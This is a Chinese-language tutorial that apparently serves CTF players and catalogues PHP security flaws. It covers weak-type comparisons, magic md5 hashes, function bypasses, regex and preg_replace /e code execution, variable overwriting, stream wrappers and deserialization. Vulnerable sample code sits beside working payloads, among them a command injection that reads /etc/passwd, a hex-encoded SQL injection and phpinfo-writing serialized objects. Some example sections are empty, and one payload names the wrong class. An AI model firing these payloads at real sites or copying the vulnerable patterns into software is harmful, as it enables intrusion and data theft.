前言
尽可能全面的总结PHP的各种安全问题
一、基础知识
1、九大全局变量
$_POST:用于接收post提交的数据
$_GET :用于获取url地址栏的参数数据
$_FILES :用于文件接收的处理, img 最常见
$_COOKIE :用于获取与setCookie()中的name 值
$_SESSION :用于存储session的值或获取session中的值
$_REQUEST :具有get、post的功能,但比较慢
$_SERVER:预定义服务器变量的一种
$GLOBALS :一个包含了全部变量的全局组合数组
$_ENV :是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它
二、弱类型以及各种函数
1、精度缺陷
在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值,这是由于浮点数的精度有限 尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16 非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递
下面看一个有趣的例子感受下:
以十进制能够精确表示的有理数如 0.1 或 0.7,无论有多少尾数都不能被内部所使用的二进制精确表示 因此不能在不丢失一点点精度的情况下转换为二进制的格式
这就会造成混乱的结果: 例如,floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118…
2、类型转换缺陷
PHP弱类型语言的一个特性,当一个整形和一个其他类型比较的时候,会先把其他类型intval数字化再比
举个例子
<?php
error_reporting(0);
$flag = 'flag{test}';
$id = $_GET['id'];
is_numeric($id)?die("Sorry...."):NULL;
if($id>2020){
echo $flag;
}
?>
既要传入非数字,又要比2020大
那就传个?id=2021a
即可
3、==
和===
比较符如下
尤其要关注的是==
和===
一些利用
'a'==0 //true
'12a'==12 //true
'1'==1 //true
'1aaaa55sss66'==1 //true
1==true=="1" //true
"0e123" == "0e456" //true,0e这类字符串识为科学技术法的数字,0的无论多少次方都是零,所以相等
"0e123" == "0eabc" //flase,科学计数的指数不可以包含字母
一批md5开头是0e
的字符串
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
实际利用
进去是几行php
看了看就是get请求a和b两个参数:
a必须等于0且a为真
b不能为数字且b大于1234
输入符合要求的就行
如http://124.126.19.106:44482/?a=0a&b=5555a
4、strcmp()
函数
这是个比较字符串的函数
int strcmp ( string $str1 , string $str2 )
问题
在PHP版本为5.3.3至5.5中(不包含5.5),当比较数组和字符串的时候,返回值也是0
例子
<?php
$password=$_GET['password'];
if(strcmp('am0s',$password)){
echo 'false!';
}else{
echo 'success!';
}
?>
绕过
拓展
除了strcmp()
函数外,ereg()
和strpos()
函数在处理数组的时候也会异常,返回NULL
5、intval()
函数
用于获取变量的整数值
在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符
即使出现无法转换的字符串也不会报错而是返回0
于是有
<?php
$a = $_GET['a'];
if (intval($a) === 666) {
$sql = "Select a From Table Where Id=".$a;
echo $sql;
} else {
echo "No...";
}
?>
6、sha1()
和md5()
加密函数
都用于计算字符串的散列值
但是两者都无法处理数组,不会抛出异常而是直接返回NULL
例子
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if (md5($a) === sha1($b)) {
echo "Bypass md5() and sha1()!";
} else {
echo "No...";
}
?>
绕过方法
7、parse_str()
函数
解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量
void parse_str ( string $str [, array &$arr ] )
当parse_str()函数的参数值可以被用户控制时,则存在变量覆盖漏洞
例子
<?php
$a = 'oop';
parse_str($_SERVER["QUERY_STRING"]);
if ($a == 'mi1k7ea') {
echo "Hacked!";
} else {
echo "Hello!";
}
?>
结合弱类型的例子
<?php
error_reporting(0);
if(empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include ('flag.php');
$a = "www.xxx.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
} else {
exit('so easy!');
}
}
?>
绕过
8、is_numeric()
函数
用于检测变量是否为数字或数字字符串
可被十六进制的值进行绕过
例子
<?php
$name = $_GET['name'];
$con = mysql_connect("localhost","root","hehe123");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
if (is_numeric($name)) {
mysql_query("insert into users values (3," . $name . ",'test')");
}
?>
1′ union select 1,2,3
的十六进制为0x312720756e696f6e2073656c65637420312c322c33
绕过
?name=0x312720756e696f6e2073656c65637420312c322c33
9、in_array()
函数
用来判断一个值是否在某一个数组列表里面
其缺陷在于存在自动类型转换
当输入数字1后再紧跟其他字符串能够Bypass检测数组的功能
例子
<?php
$id = $_GET['id'];
if (in_array($id, array(1,2,3,4,5,6,7,8,9,0))) {
$sql = "Select a From users Where Id='".$id."'";
echo $sql;
} else {
echo "No...";
}
?>
10、ereg()
和eregi()
用于正则匹配,两者的区别在于是否区分大小写
使用指定的模式搜索一个字符串中指定的字符串,如果匹配成功则返回true,否则返回false
该函数可被%00
截断来Bypass
传入数组之后,ereg是返回NULL
例子
<?php
$passwd = $_GET['passwd'];
if (@ereg("^[a-zA-Z0-9_]+$", $passwd)) {
$sql = "Select username From users Where password='".$passwd."'";
echo $sql;
} else {
echo "No...";
}
?>
11、json_decode()
函数
用于对json格式数据进行json解码操作,对于一个json类型的字符串,会解密成一个数组
其存在一个0=="efeaf"
的Bypass
例子
<?php
$key = "JsonTest";
if (isset($_GET['data'])) {
$data = json_decode($_GET['data']);
if ($data->key == $key) {
echo "Bypass json_decode()!";
} else {
echo "No...";
}
}
?>
12、preg_match()
函数
用于执行一个正则表达式匹配
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
$pattern :要搜索的模式,字符串形式
$subject: 要搜索检测的目标字符串
$matches: 如果提供了参数matches,它将被填充为搜索结果 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推
$flags: 可设置标记值
$offset: 可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)
/i 修饰符
大小写不敏感
/i 修饰符
大小写不敏感
<?php
error_reporting(0);
$name = $_GET["name"];
if (preg_match('/script/', $_GET["name"])) {
die('hacker');
}
echo $name;
?>
绕过
?name=<Script>alert(2333)</Script>
/m 修饰符
多行匹配
当出现换行符 %0a
的时候,会被当做两行处理
此时只可以匹配第 1 行,后面的行就会被忽略
<?php
if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
die("Invalid IP address");
}
system("ping -c 2 ".$_GET['ip']);
?>
绕过
ip=127.0.0.1%0acat /etc/passwd
13、preg_replace()
函数
执行一个正则表达式的搜索和替换
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
$pattern :要搜索的模式,可以是字符串或一个字符串数组
$replacement :用于替换的字符串或字符串数组
$subject: 要搜索替换的目标字符串或字符串数组
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
$count: 可选,为替换执行的次数
/e修饰符
使 preg_replace()
将 replacement 参数当作 PHP 代码
1、无限传参
<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>
绕过
?pattern=/233/e&new=phpinfo()&base=233
2、简单正则
<?php
error_reporting(0);
include('flag.php');
$pattern = $_REQUEST["pattern"];
$new = $_POST["new"];
$base = '2333';
preg_replace(
$pattern,
$new,
$base
);
?>
绕过
然后就可以蚁剑了
3、进阶正则
<?php
error_reporting(0);
function complexStrtolower($regex, $value){
return preg_replace('/('.$regex.')/ei', 'strtolower("\\1")', $value);
}
foreach($_REQUEST as $regex => $value){
echo complexStrtolower($regex, $value) . "\n";
}
highlight_file(__FILE__);
?>
绕过
14、register_globals
全局变量覆盖
php.ini中有一项为register_globals,即注册全局变量
register_globals=On时,传递过来的值会被直接的注册为全局变量直接使用
register_globals=Off时,我们需要到特定的数组里去得到它
PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除
当register_globals=On,变量未被初始化且能够用户所控制时,就会存在变量覆盖漏洞
例子
<?php
echo "Register_globals: " . (int)ini_get("register_globals") . "<br/>";
if ($a) {
echo "Hacked!";
}
?>
从数组中将变量导入到当前的符号表
使用数组键名作为变量名,使用数组键值作为变量值
针对数组中的每个元素,将在当前符号表中创建对应的一个变量
int extract ( array $var_array [, int $extract_type [, string $prefix ]] )
第二个参数指定函数将变量导入符号表时的行为
当值为EXTR_OVERWRITE时,在将变量导入符号表的过程中,如果变量名发生冲突,则覆盖所有变量
值为EXTR_SKIP则表示跳过不覆盖
若第二个参数未指定,则在默认情况下使用EXTR_OVERWRITE
当extract()
函数从用户可以控制的数组中导出变量且第二个参数未设置或设置为EXTR_OVERWRITE
时,就存在变量覆盖漏洞
例子
<?php
$a = "0";
extract($_GET);
if ($a == 1) {
echo "Hacked!";
} else {
echo "Hello!";
}
?>
16、import_request_variables()
变量覆盖
将GET、POST、Cookies中的变量导入到全局 4.1.0 <= PHP < 5.4.0
bool import_request_variables (string $types [, string $prefix])
$type代表要注册的变量,G代表GET,P代表POST,C代表COOKIE
第二个参数为要注册变量的前缀
例子
<?php
$a = "0";
import_request_variables("G");
if ($a == 1) {
echo "Fucked!";
} else {
echo "Nothing!";
}
?>
17、$$
导致的变量覆盖
\$var是一个正常变量,名称为:var,存储任何值,如:string,integer,float等
\$\$var是一个引用变量,用于存储\$var的值
例子
使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值
传入id=mi1k7ea
后,在foreach语句中,\$_key
为id
,\$_value
为mi1k7ea
,进而\$\$_key
为$id
,从而实现了变量覆盖
<?php
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= $_value;
}
}
$id = isset($id) ? $id : "test";
if($id === "mi1k7ea") {
echo "flag{xxxxxxxxxx}";
} else {
echo "Nothing...";
}
?>
18、strstr()
函数
大小写敏感
实例
19、mt_rand()
函数
随机数生成工具
问题在于每个php cgi进程期间,只有第一次调用mt_rand()会自动播种
接下来都会根据这个第一次播种的种子来生成随机数
所以可以通过逆向得到随机种子
然后获取后面其他随机数
如路径之类的信息就有了
工具
实例
三、伪协议
php伪协议主要有以下
file://:用于访问本地文件系统读取本地文件
php://:访问各个输入/输出流(I/O streams),其中php://filter用于读取文件内容,php://input可以访问请求的原始数据的只读流、同时可将post请求中的数据作为PHP代码执行
zip://,bzip2://,zlib://:均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
data://:写入数据
phar://:PHP归档
通常都会用在文件包含上
1、php://
输入输出流
PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器
(1)php://filter
元封装器,设计用于”数据流打开”时的”筛选过滤”应用
不需要开启allow_url_fopen
和allow_url_include
有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的 这时候我们可以以base64编码的方式读取指定文件的源码
用法
?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php
实例
(2)php://input
不需要开启allow_url_fopen
和allow_url_include
在遇到file_get_contents()
时可以用php://input绕过
<?php
echo file_get_contents("php://input");
?>
可以用来执行命令
也可以写入木马
2、file://
读取文件内容
通过file协议可以访问本地文件系统,读取到文件的内容
且不受allow_url_fopen
与allow_url_include
的影响
只能输入绝对路径,输入相对路径不生效
注
输入php或JS文件,file://
协议会执行该PHP文件里的代码而不是显示该内容
3、data://
读取文件
数据流封装器,和php://相似都是利用了流的概念
将原本的include的文件流重定向到了用户可控制的输入流中
简单来说就是执行文件的包含方法包含了你的输入流
条件
必须同时开启allow_url_fopen
和allow_url_include
使用方法
data:text/plain;base64, <script>alert('xss')</script>
data://text/plain;base64, <script>alert('xss')</script>
data:text/plain;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
data://text/plain;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=
执行命令
?file=data:text/plain,<?php phpinfo();?>
base64绕过
index.php?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
实例
4、phar://
针对压缩包
php解压缩包的一个函数
不管后缀是什么,都会当做压缩包来解压
条件
用法
实例
5、zip://
针对压缩包
类似phar://
使用方法和条件有点区别
条件
php版本大于等于php5.3.0,windows下php还得小于5.4
不需要开启allow_url_fopen
和allow_url_include
注
类似的还有zlib://
协议和bzip2://
协议
四、反序列化
php序列化的两个函数
serialize()
:将一个对象转成字符串形式,方便保存以便于下次再次反序列化出该对象直接使用
unserialize()
:将序列化后的字符串反序列化成一个对象
1、序列化与反序列化
考虑User具有以下属性的对象:
$user->name = "carlos";
$user->isLoggedIn = true;
序列化后,该对象可能看起来像这样:
O:4:"User":2:{s:4:"name":s:6:"carlos"; s:10:"isLoggedIn":b:1;}
可以解释如下:
O:4:"User" 具有4个字符的类名称的对象 "User"
2 对象具有2个属性
s:4:"name" 第一个属性的键是4个字符的字符串 "name"
s:6:"carlos" 第一个属性的值是6个字符的字符串 "carlos"
s:10:"isLoggedIn" 第二个属性的键是10个字符的字符串 "isLoggedIn"
b:1 第二个属性的值是布尔值 true
2、魔术方法
魔术方法就是在某些条件下自动执行的函数
__sleep() //使用serialize时触发,serialize()函数会检查类中是否存在一个魔术方法__sleep()。如果存在,该方法会先被调用,然后才执行序列化操作
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
最重要的几个
__wakeup() //unserialize函数会检查是否存在wakeup方法,如果存在则先调用wakeup方法,做一些必要的初始化连数据库等操作
__construct() //PHP5允行在一个类中定义一个方法作为构造函数。具有构造函数的类会在每次创建新对象时先调用此方法
__destruct() //PHP5引入析构函数的概念,析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__toString() //用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误
3、PHP的反序列化漏洞
PHP反序列化漏洞出现的原因:
通过几个例子来感受下
例子1——wakeup
<?php
class Test{
var $test = "123";
function __wakeup(){
$fp = fopen("test.php", 'w');
fwrite($fp, $this -> test);
fclose($fp);
}
}
$test1 = $_GET['test'];
print_r($test1);
echo "<br />";
$seri = unserialize($test1);
require "test.php";
?>
在反序列化之前一定会调用此方法,创建了一个test.php文件
把Test类中的test变量的值写进了test.php文件
payload
1.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
注:CVE-2016-7124漏洞:序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过wakeup的执行
实例
例子2——construct
<?php
class Test1{
function __construct($test){
$fp = fopen("shell.php", "w");
fwrite($fp, $test);
fclose($fp);
}
}
class Test2{
var $test = "123";
function __wakeup(){
$obj = new Test1($this -> test);
}
}
$test = $_GET['test'];
unserialize($test);
require "shell.php";
?>
payload
2.php?test=O:4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
例子3——destruct
class Test{
var $test = "demo";
function __destruct(){
echo $this->test;
}
}
$a = $_GET['test'];
$a_unser = unserialize($a);
本结束时就会调用destruct函数,同时会覆盖test变量
payload
3.php?test=O4:"Test":1:{s:4:"test";s:18:"<?php%20phpinfo();?>";}
例子4——session
首先php的session存储与读取是一个序列化跟反序列化的过程,其中有三种模式,分别是php_binary、php、php_serialize,这几个模式的存储方式不太一样,这也是会导致反序列化漏洞的根源
比如说是php_serialize的存储方式,那么我们可以通过构造一个上传表单,同时POST一个与INI中设置的session.upload_progress.name同名变量时,上传进度可以在$_SESSION中获得
当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据, 索引是session.upload_progress.prefix 与 session.upload_progress.name连接在一起的值
然后再session_start()函数,直接触发session反序列化漏洞
例子5——phar://的应用
hitcon Orange 的一道 0day 题的解法,打开了反序列化的大门,之后再black 2018有一位演讲者也谈到了phar协议在反序列化中的运用,大大增加了攻击面
phar 文件包在 生成时会以序列化的形式存储用户自定义的 meta-data ,配合 phar:// 我们就能在文件系统函数 file_exists()、 is_dir() 等参数可控的情况下实现自动的反序列化操作,于是我们就能通过构造精心设计的 phar 包在没有 unserailize() 的情况下实现反序列化攻击,从而将 PHP 反序列化漏洞的触发条件大大拓宽了,降低了我们 PHP 反序列化的攻击起点
演讲中测试发现php中很多很多函数配合phar协议,可以触发反序列化漏洞。比如说file_get_contents、file_exists、还有最新的SUCTF遇到的finfo_file等等。这里提一下,含可以通过php://filter/resource=伪协议的形式后面跟phar协议,同样可以触发。这是在SUCTF做题中最新发现的一个点
利用条件: 存在文件上传点,还有操作系统文件的函数
跟进phar源码,其实最根源的是底层调用了php_stream_open_warpper_ex函数处理
例子6——pop链
(1)寻找 unserialize() 函数的参数是否有我们的可控点
(2)寻找我们的反序列化的目标,重点寻找 存在 wakeup() 或 destruct() 魔法函数的类
(3)一层一层地研究该类在魔法方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
五、其他
见到的一些安全问题
1、动态特性
2、webshell免杀
3、ThinkPHP 5.x远程命令执行漏洞
实例
4、PHP混淆后门
实例
5、一些函数的巧用
6、数组key溢出
PHP的hastTable是通过链表法实现的,按说是不会存在溢出的问题
但是其索引值表示的范围有限,当超出索引值时就会造成溢出
这个溢出只存在当索引值为数字时,输入的数字为正,输出却为负值的原因是函数参数与输出的类型不一致导致的
看个例子
<?php
$arr[1] = '1';
$arr[18446744073708551617333333333333] = '18446744073708551617333333333333';
$arr[] = 'test';
$arr[4294967296] = 'test';
$arr[9223372036854775807] = 'test';
$arr[9223372036854775808] = 'test';
var_dump($arr);
上面这些输出的结果是
array(6) {
[1]=>
string(1) "1"
[-999799117276250112]=>
string(32) "18446744073708551617333333333333"
[2]=>
string(4) "test"
[4294967296]=>
string(4) "test"
[9223372036854775807]=>
string(4) "test"
[-9223372036854775808]=>
string(4) "test"
}
当key值很大时输出的值溢出了,临界点是9223372036854775807
这个数字
实例
结语
本文总结归纳PHP的各种安全问题
参考: